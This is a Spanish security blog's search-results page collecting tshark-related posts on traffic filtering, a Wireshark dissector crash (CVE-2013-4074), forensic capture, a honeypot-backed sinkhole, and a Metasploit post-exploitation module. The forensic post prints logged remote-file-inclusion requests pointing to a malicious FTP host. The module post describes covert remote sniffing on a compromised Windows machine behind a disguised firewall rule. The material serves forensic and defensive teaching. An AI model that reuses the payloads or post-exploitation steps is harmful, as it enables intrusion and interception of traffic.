Search Results for: tshark

Tráfico HTTP con un único host en tshark: tcp.stream

En múltiples ocasiones hemos hablado en este blog de tshark como herramienta de análisis forense de red. Esta herramienta proporciona una versatilidad que se va ampliando con cada nueva versión, donde se le añaden nuevos filtros y mejoras.

Supongamos que nos encontramos analizando un incidente de seguridad en el que tenemos tráfico hacia varios servidores ubicados detrás de una misma dirección IP. Debido a esto, no se puede filtrar por dirección IP así que hay que buscar otra solución. En este artículo voy a mostrar una manera de extraer únicamente aquellos paquetes que están relacionados con un servidor (host) y no con una dirección IP.

Para ilustrar el ejemplo voy a utilizar un archivo de captura de tráfico en formato PCAP descargado desde NETRESEC de una máquina infectada con W32/Sdbot, proporcionado por Russ McRee.

Cuando estamos analizando tráfico hacia un servidor web podemos ver los paquetes enviados por el cliente utilizando el filtro “http.host==” (p.e, http.host==www.age.ne.jp):

El problema es que únicamente se muestran los enviados hacia el servidor, ya que se basa en el parámetro Host de la cabecera HTTP. En el caso en el que queramos capturar también la respuesta podremos utilizar el filtro tcp.stream pero debemos hacer un paso previo; para ello recordaremos este filtro.

El filtro “tcp.stream” es un valor que tshark asigna a los paquetes en función del flujo TCP al que pertenecen, así aquellos paquetes que formen parte de una misma conversación o flujo TCP tendrán el mismo valor.

La idea que pretendemos llevar a cabo es identificar los flujos TCP que vayan dirigidos al host que queremos para, posteriormente, extraer todos los paquetes que sean de esos flujos TCP, no sólo las peticiones HTTP.

Primero listamos el flujo TCP de los paquetes dirigidos al host:

Ahora un poquito de Kung-Fu, y listo:

Lo que se ha hecho en la captura anterior es obtener el mismo listado y realizar otra búsqueda utilizando el filtro tcp.stream con esos valores, por tanto recorremos el archivo un número de veces igual al número de flujos anterior y creamos un archivo (stream{n}.pcap) por cada uno de ellos. Finalmente, se fusionan en un único archivo PCAP con mergecap, llamado www_age_ne_jp.pcap.

Para ver que no sólo tenemos las peticiones al servidor sino también las respuestas de éste, mostramos el contenido del archivo:

Para comprobar que las peticiones son hacia el servidor que queremos mostramos únicamente los campos de dirección IP origen y destino, el host al que va dirigida la petición HTTP y el flujo TCP al que corresponden (el valor tcp.stream varia porque es relativo al propio archivo PCAP, no obstante se puede comprobar que el número de flujos es el mismo):

Por último, como nota añadida a esta manera de extraer aquellos paquetes que nos interesan, recalcar que el archivo se procesa un número de veces igual al de flujos que devuelva la operación anterior. Esto, si el archivo con el que estamos trabajando es muy pesado, puede sobrecargar el sistema.

Para evitar esto, en lugar de utilizar el filtro para un único flujo, se encadenan todos los filtros con un OR y así sólo procesamos el archivo una única vez, aunque se hagan más comprobaciones.

Mientras que el tiempo para ejecutar el comando de la primera manera es:

Quizá éste archivo no sea el mejor ejemplo ya que su tamaño es pequeño, aunque se puede apreciar que se reduce en más de una quinta parte el tiempo real de proceso.

Por experiencia propia, en una búsqueda similar en un archivo de 4 GB la diferencia está entre tres minutos para su ejecución con la primera opción, y no terminar tras más de una hora con la segunda.

Espero que os sirva para futuras búsquedas.

Vulnerabilidad TShark Wireshark (CVE-2013-4074)

Con una alta probabilidad muchos de nuestros lectores hayan manejado alguna vez o hayan visto manejar Wireshark, ya que es la herramienta por excelencia para análisis de tráfico de red. Es por esto que no voy a introducirla por la gran cantidad de información en la red sobre ella, así que si alguien no la conoce puede empezar pegando un vistazo a esta guía de Wireshark donde colaboramos. Lo que sí que me gustaría es recordar su arquitectura:

Como se ve en la imagen está compuesta por diferentes módulos y para esta entrada de todos ellos nos fijaremos en los “dissectors” que como bien nos indica la documentación tienen la función de diseccionar los paquetes de red. Cito textualmente la documentación:

While Wireshark is loading packets from a file, each packet is dissected. Wireshark tries to detect the packet type and gets as much information from the packet as possible. In this run though, only the information shown in the packet list pane is needed.

As the user selects a specific packet in the packet list pane, this packet will be dissected again. This time, Wireshark tries to get every single piece of information and put it into the packet details panel”.

Una vez ya entendemos la función de un dissector comentar que estos módulos suelen ser donde más vulnerabilidades están apareciendo en relación con esta herramienta. Solo hay que ir a los avisos de seguridad de la propia web principal y ver cómo la palabra dissector predomina en los avisos de seguridad.

Esta pequeña introducción viene porque el otro día mientras estaba trabajando tenía que hacer el análisis de un pcap, así que como es habitual lo cargué con la herramienta tshark y de repente me sucedió lo siguiente:

Al ver el error analicé qué consecuencias había podido tener en el sistema (mode paranoid on), ver qué contenido tenía el paquete que había provocado el fallo (en ese primer vistazo me dejé guiar por la última línea del error) y que no tuviera nada raro. Después de esto comprobé que era posible reproducirlo en el sistema en el que estaba haciendo el análisis y en otro equipo virtual diferente de manera reiterada.

Finalizado ése rápido vistazo, con el fin de obtener un poco más de información lancé la herramienta con un debugger, en este caso GDB, de la siguiente manera:

Tras ejecutarla con el comando run, obtuve el error:

Acto seguido ejecuté el comando backtrace para obtener esa información que pudiera darnos una pista de qué estaba fallando:

Mirando con cariño la salida, vi un dissector que parecía ser el culpable del fallo y cuyo nombre era dissector_capwap(). Este dissector se encarga del protocolo CAPWAP y para que se dispare el análisis es necesario que exista un paquete UDP a los puertos 5246 o 5247. En nuestro caso, era una captura de paquetes UDP y uno de los paquetes tenía como puerto el valor 5247, hecho que llevó a lanzar el análisis del dissector.

Con esta información cogí el pcap de 11 megas, busqué por el protocolo CAPWAP y obtuve el paquete que provocaba que la aplicación fallara:

Una vez tuve claro qué había provocado el fallo (nombre del dissector) busqué vulnerabilidades sobre este dissector y ví cómo existía este aviso CVE-2013-4074 que nos habla de la vulnerabilidad y era bastante reciente. Además, en el reporte de la vulnerabilidad encontré que había adjunto un fichero pcap que reproducía la vulnerabilidad de denegación de servicio, por si alguien quiere probarlo. Al parecer es una vulnerabilidad de denegación de servicio y no han conseguido ejecución de código. Si le queréis pegar un vistazo al parche podéis encontrarlo aquí.

Como véis es imprescindible ejecutar este tipo de herramientas con usuarios que no tengan privilegios de administrador como ya hemos comentado más de una vez en este blog y ejecutarlo en nuestro entorno de análisis.

Libro: Traffic Analysis with Tshark How-to

El libro que me gustaría comentar ha caído hace pocos días en mis manos y se titula “Traffic Analysis with Tshark How-to” cuyo autor es nada menos que nuestro compañero del blog Borja Merino (@BorjaMerino).

Este libro trata, como es evidente, sobre el uso de la herramienta Tshark, la versión de línea de comandos de Wireshark, y de la que ya hemos hablado en alguna ocasión (Registro forense de red con tshark). Aunque Borja cubre un gran abanico de temas, incluye algunos ejemplos que muestran formas de capturar tráfico, la localización problemas de saturación de red, uso de filtros para buscar evidencias concretas, detectar ataques de red o la utilización de la herramienta como apoyo al hacer fuzzing a una aplicación.

Se explica de forma atractiva puesto que se presenta en forma de receta y después la explicación de qué estamos haciendo, o como lo titulan en la forma del libro “How to do it” y “How it works”. También se etiquetan las secciones por su utilidad e importancia, de la forma “recomendable”, “imprescindible” y “conviértete en experto”, de modo que permite identificar aquellos aspectos por su importancia de cara al grado de utilización de la herramienta que vaya a hacer el usuario.

Eso sí, es necesario leerlo con un equipo y una shell delante para asimilar toda la información que recoge en tan poco espacio, ya que el material es de alto nivel técnico, con explicaciones prácticas y ejemplos útiles sobre situaciones comunes para cualquier administrador de sistemas, incident handler o para cualquiera que quiera aprender o mejorar su kung-fu en tshark.

En definitiva, una lectura totalmente recomendada, a la altura del nivel técnico del autor.

Registro forense de red con tshark

En ocasiones puede ocurrir que, según la topología de la red y la estructura de la organización en la que nos encontremos, no tengamos acceso al registro de los servidores web de una manera fácil y rápida pero sí podamos capturar el tráfico de red que va dirigido a ellos. Esto puede dificultar una rápida actuación ante un incidente de seguridad donde la respuesta debe ser lo más ágil posible con el objeto de minimizar el daño que se haya podido producir.

Si nos encontráramos en una situación así vamos a ver cómo podemos hacer uso de tshark para capturar el tráfico y dejar un registro de red para tareas forenses en caso de incidente. De esta manera podremos identificar los ataques ocurridos, con el añadido de poder analizar tanto la respuesta del servidor a dicho ataque como el posterior tráfico y así descubrir indicios de si el servidor ha sido comprometido.

Para capturar el tráfico de la forma más eficiente posible para este propósito tenemos dos opciones. La primera se conoce como Autostop. Consiste en capturar el tráfico y guardarlo en un fichero hasta que se produzca alguna de las situaciones definidas, a saber, cuando se captura un determinado volumen de tráfico o durante un tiempo. Una vez finalizado, la captura se detiene.

Para realizar este tipo de captura, se utilizaría la opción ‘-a‘, que acepta los parámetros duration, filesize y files. Un ejemplo podría ser como el siguiente:

$ tshark -nni eth0 -a filesize:200000 -a files:10 -w securityartwork.pcap

El comando anterior capturará el tráfico y lo guardará en ficheros de 200.000 kilobytes cada uno y cuando llegue a 10 se detendrá. Los ficheros tendrán el prefijo securityartwork con el número de fichero y un timestamp.

$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 28 17:15 securityartwork_00001_20130428152638.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 18:30 securityartwork_00002_20130428171511.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 19:23 securityartwork_00003_20130428183043.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 20:47 securityartwork_00004_20130428192349.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 22:01 securityartwork_00005_20130428204747.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 23:03 securityartwork_00006_20130428220140.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 00:30 securityartwork_00007_20130428230336.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:57 securityartwork_00008_20130429003026.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:43 securityartwork_00009_20130429025734.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:54 securityartwork_00010_20130429054313.pcap

La otra opción consiste en crear un buffer circular con las características que definamos. Una vez se cumplan las condiciones, se borra el fichero más antiguo creando así ese buffer circular. La opción a utilizar es ‘-b‘ y los parámetros son los mismos que con Autostop. Un ejemplo muy utilizado es el siguiente:

$ nohup tshark -nni eth0 -b filesize:200000 -b files:10 -w saw_buffer.pcap &
$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 29 01:47 saw_buffer_08554_20130429005947.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:39 saw_buffer_08555_20130429014710.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 03:21 saw_buffer_08556_20130429023931.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 04:16 saw_buffer_08557_20130429032138.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:27 saw_buffer_08558_20130429041611.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 06:42 saw_buffer_08559_20130429052745.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:21 saw_buffer_08560_20130429064246.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:48 saw_buffer_08561_20130429072111.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 08:15 saw_buffer_08562_20130429074818.pcap
-rw------- 1 nbelda nbelda  37M Apr 29 08:17 saw_buffer_08563_20130429081535.pcap

Con esto tendremos un buffer de 2GB (aproximadamente) con el que tendremos una captura del tráfico para analizar en caso de detectar un incidente en alguno de nuestros servidores. El tamaño y número de los ficheros dependrá del tráfico de red, del espacio del que dispongamos en el disco duro y de la ventana temporal que queramos almacenar.

Para aclarar los últimos comandos, nohup y el ampersand (&) los utilizamos para dejarlo funcionando en background y no se detenga al cerrar sesión en el servidor; ya que la idea es dejarlo siempre en funcionamiento y analizarlo en caso de incidente.

Por último nos queda la visualización del tráfico. Tenemos una captura de tráfico con un tamaño importante, así que utilizar Wireshark queda descartado (si no, probar a abrir un archivo de 200MB) y necesitamos mostrar información útil. En esta ocasión vamos a ver cómo crear un archivo similar al log de Apache.

Explicaré un poco cómo se crea este fichero a partir del buffer creado. Primero creamos un bucle para leer cada uno de los ficheros, luego utilizamos los filtros de tshark para crear la salida. NOTA: la opción -T fields se utiliza para indicar qué campos queremos mostrar, indicándolos a continuación, en modo texto. Para más información, visitad el blog de Alfon Seguridad y Redes.

$ for file in $(ls -1 saw_buffer*.pcap) ; do tshark -nnr $file -T fields -e frame.time 
   -e ip.src -e ip.geoip.src_country -e http.request.method -e http.request.uri >> 
   saw_apache.log ; done

En caso de haber más de un servidor detrás podemos utilizar http.request.full_uri para identificar más fácilmente las peticiones a cada servidor.

$ tail saw_apache.log
Apr 26, 2013 07:02:09.921552000	187.79.225.59	Brazil
  GET /web/index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:09.930596000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.057270000	187.79.225.59	Brazil	
  GET /index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.062135000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.069157000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.074002000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:11.128034000	187.79.225.59	Brazil	
  GET /biblioteca/index.php?lvl=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:11.134320000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:13.773525000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:13.785738000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:14.071371000	187.79.225.59	Brazil	
  GET /index.php?module=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:14.076231000	193.XXX.XXX.XXX	Spain

Personalmente, suelo utilizar la herramienta Highlighter de Mandiant, para analizar este tipo de ficheros en busca de peticiones maliciosas y demás comportamiento anómalo. Su uso es sencillo, aunque lo dejamos para otro posible post.

Evadiendo por la via rápida el challenge de CloudFlare for-fun-and-profit

Para hoy tenemos una entrada de Vicente, un antiguo compañero de S2 Grupo, administrador de sistemas y fanático de la naturaleza. Se le puede encontrar en su twitter @vicendominguez y en su blog.

¡Buenos días amigos! Vuestro sysadmin favorito al teclado hoy. Vamos a la materia.

En el mercado existen multitud de herramientas para pentesting. Todas ellas incorporan sistemas de evasión tanto de IDS, como WAF etc.; nmap incorpora fragmentación, cloak, decoys, spoof, custom data packet; sqlmap lleva check-waf y un montón de tampers, y así casi-todas. Echadle un vistazo porque la lista de aplicaciones que usáis todos los días para vuestros pentest favoritos que incorporan estos extras es considerable. Además tienen cierto éxito con los habituales sistemas de protección/detección. Ya sabéis de lo que hablo. En detección: snort, suricata…; en protección-waf: modsecurity, naxsi… y todos estos requieren algunos esfuerzos “extras” para detectar todas las posibilidades existentes. Bien. Fantástico.

Y luego de todo esto, tenemos CloudFlare.

[Read more…]

Mejora de un sinkhole con Honeytrap (I)

Un sinkhole es un sistema por el que determinadas peticiones DNS se resuelven de forma diferente para, normalmente, desviar el tráfico a otro destino controlado (bien sea localhost o una IP determinada). Se utiliza de forma que evitemos que se contacte con el servidor malicioso, combatiendo bastante activamente botnets y virus/downloaders. Bien, el otro día estuve pensando una manera de capturar el tráfico que estaría bloqueando el sinkhole para analizarlo y tratar de actuar contra el software malicioso o, al menos, identificarlo mejor. En esta entrada voy a mostrar una forma de completar ese sistema de Sinkhole con Honeytrap y OpenFPC.

Honeytrap es un tipo de honeypot, desarrollado por Tillmann Werner, cuya principal característica es que no ofrece unos servicios vulnerables concretos sino que simula cualquier servicio, al continuar con la negociación TCP en cualquier puerto y esperar la petición del atacante para registrarla. Esto permite detectar ataques desconocidos (siempre pensando en la máxima de que todo tráfico que cae en una honey es malicioso/sospechoso). También cuenta con un número de respuestas prefijadas para algunos servicios concretos (HTTP, POP3, FTP…).

Entrando un poco más en detalle sobre su funcionamiento, lo que hace es capturar con iptables las peticiones SYN que entran en el sistema y enviarlas a Honeytrap, quien continuará con el establecimiento de la conexión (SYN/ACK). Se dice que es un honeypot de baja interacción porque una vez que se establece la conexión TCP, queda a la espera de la petición del atacante y, en algunos casos, devuelve una respuesta prefijada sin tener en cuenta la petición. De esta forma podremos capturar, al menos, la primera petición en cualquier puerto, sin tener un servicio escuchando en los 2^16 puertos TCP y otros tantos UDP que hay.

Por otro lado, para registrar todo el tráfico de una forma eficiente y poder analizarlo cómodamente más adelante utilizaremos OpenFPC. OpenFPC es un magnífico sistema de captura del tráfico de red que puede ser utilizado en tareas forenses. Encabezado por Leon Ward (@leonward), está basado en Daemonlogger y tshark (principalmente) y básicamente es un sistema para capturar el tráfico, clasificarlo en conversaciones/sesiones (mediante cxtracker), y descargarlo en formato PCAP. Almacena las sesiones en MySQL y ofrece una interfaz de consola y web con la que obtener los paquetes mediante filtros de búsqueda.

El esquema del diseño propuesto podría ser algo así:

Vemos cómo desde la red interna se envían las peticiones al servidor DNS, en este caso ubicado en una DMZ. En función de si el dominio está en una lista negra o no, se resolverá con la IP real (hacia Internet) o hacia nuestro Honeytrap.

Delante de Honeytrap hemos preparado una máquina con iptables y OpenFPC que registrará todo el tráfico que pase por ella con el objeto de analizar el tráfico. Tendremos que configurarlo para evitar que salga tráfico hacia Internet desde dicha máquina y evitar que el malware actúe.

En la siguiente entrega, veremos cómo montar el sistema y capturar tráfico malicioso de un sencillo bot corriendo en una máquina interna que desviaremos hacia nuestro honeypot para analizarlo.

Rcapd start meterpreter module

Durante la fase de post-explotación en una intrusión, tras conseguir una shell en un equipo, uno de los pasos para seguir ganando acceso a otras máquinas o dispositivos de networking es esnifar tráfico. Simplemente escuchando el tráfico que pasa por dicha máquina, aunque la misma se encuentre en un entorno conmutado, puede darnos información muy útil sobre la topología de red en la que se encuentra o las posibles vulnerabilidades que podremos explotar más adelante: nombres netbios, users/passwords en claro, paquetes ARP, CDP, DHCP, HSRP, VRRP, etc.

Para escuchar tráfico desde una shell, sin embargo, tendremos que hacer uso de herramientas externas que deberemos descargar y ejecutar en el equipo comprometido. Una buena elección es rawcap la cual permite capturar paquetes sin apoyarse en drivers de captura como WinPcap (librería libpcap para Windows utilizada por multitud de herramientas de análisis de tráfico).

Otra opción es utilizar Meterpreter desde donde podremos apoyarnos en módulos de captura sin necesidad de tocar disco. Meterpreter cuenta para ello con la extensión sniffer o el módulo packetrecorder de @Carlos_Perez aka Darkoperator, los cuales permiten generar y guardar en local el fichero pcap con el tráfico capturado.

Como una alternativa más a estas dos opciones, he creado un pequeño módulo (rpcapd_start) que permite activar el servicio rpcapd para poder capturar tráfico remotamente. No es extraño encontrarse con equipos de usuario, incluso servidores Windows, que tengan instalado WinPcap así que, que mejor forma de obtener tráfico que utilizando dicho servicio de forma remota. Como ventaja adicional no dependeremos de la sesión de meterpreter, ya que una vez activado, podremos capturar tráfico con cualquier software que soporte rpcap.

La instalación de WinPcap creará un nuevo servicio llamado rpcapd aunque el mismo se encuentra inactivo por defecto.

El módulo únicamente activará rpcapd, especificando el puerto y el modo de funcionamiento (activo o pasivo). Podremos elegir también si queremos autenticación o no.

Ya que lo más probable es que el equipo esté nateado tras un router o firewall, en la práctica, el modo más útil será el activo, en donde la máquina comprometida será la que se conecte a nosotros.

Tras levantar el servicio y en el caso de utilizar una conexión pasiva (como en el ejemplo) se añadirá una nueva regla en el Firewall de Windows bajo el nombre “Windows Service” para permitir el tráfico entrante.

Posteriormente podremos conectarnos a la máquina desde cualquier herramienta que soporte rpcap y empezar a capturar tráfico.

El módulo está ya incluido en Metasploit así que bastará con actualizarlo para su descarga